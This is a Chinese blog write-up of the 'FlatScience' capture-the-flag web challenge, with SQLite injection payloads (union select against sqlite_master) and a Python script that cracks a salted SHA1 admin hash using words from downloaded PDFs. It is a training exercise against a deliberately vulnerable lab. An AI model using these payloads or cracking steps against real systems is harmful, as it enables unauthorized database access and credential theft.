攻防世界:web FlatScience

题目分析

拿到题目,就有很多按钮可以点击
点开之后,发现会下载好多paper,这应该就是web坐着写的论文
点开here,this等等东西
会发现有更多的paper等着你下
下载下来的paper是全英文,估计是机器学习数学建模等东西,反正我也看不懂
在手足无措的时候,直接上 目录扫描工具进行扫描

目录扫描

使用御剑扫描工具扫描,发现存在robots.txt文件
打开robots.txt文件,可以发现有连个不允许访问的网址:
image
不让访问我偏要访问:

  • login.php
    image
  • admin.php
    image

这两个网站最大的信息就是告诉你flag可能即使需要登录进去admin

检查页面

登录界面一般都会藏有SQL注入漏洞或者xss漏洞
拿到网站没有头绪先检查页面也许会有提示信息
查看login.php的源代码
image
查看源代码我们发现,有一个注释是一个?debug
那么可能就是 存在这样的页面,我们get传参输入:
image
image
页面源代码和PHP代码一览无余

代码审计

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?> 

通过代码审计我们发现,这是一个sqlite数据库,然后这个有可能就可以使用SQL注入
我们通过闭合单引号就可以实现SQL注入了
然后后面还有一个东西:setcookie('name',' '.$row['name'], time() + 60, '/');
这个row是从: $row = $res->fetchArray();来的
这个res是从:$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");来的
那这还用多说,查询的结果八成就在cookie里面了
现在看是实现SQL注入

SQL注入

首先还是老样子,判断字段数:

  • 输入1' order by 1 --+ 然后从1一直弄到3,发现3是报错的,说明这个字段数就是2个。
  • 判断一下回显点:1' union select 1,2 --+经过测试回显点是2
    image
    这里加不加 and 1=2 并不影响结果,可能是sqlite数据库特性,没有深究
  • 输入 1' union select name,sql from sqlite_master--+果然在cookie出现了回显
    image

说明
sqlite_master是sqlite的一张系统表,里面记录了数据表的一些信息
其中字段name是指该表的名称,字段sql是指该表的创建语句

  • 现在,将得到的cookie使用URL解码:
    image
CREATE+TABLE+Users(id+int+primary+key,name+varchar(255),password+varchar(255),hint+varchar(255))

可以看见,id是该数据表的码,有name、password、hint三个字段

  • 使用联合查询查字段内容:1' union select 1,group_concat(name或者password或者hint)三次查询之后,用URL解码,有如下内容:
    image
  • 要命,这是个不可逆的加密,只能撞库破解admin的密码。 PHP代码里面说了password的加密方式是:sha1($pass."Salz!")

hold不住,上脚本:

from io import StringIO

#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter


import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                print ("Find the password :" + word)
                exit()
            
 
if __name__ == "__main__":
    find_password()

得到解密后的密码为ThinJerboa
登录即可得到flag
image

posted @ 2021-09-08 19:18  Zeker62  阅读(117)  评论(0编辑  收藏  举报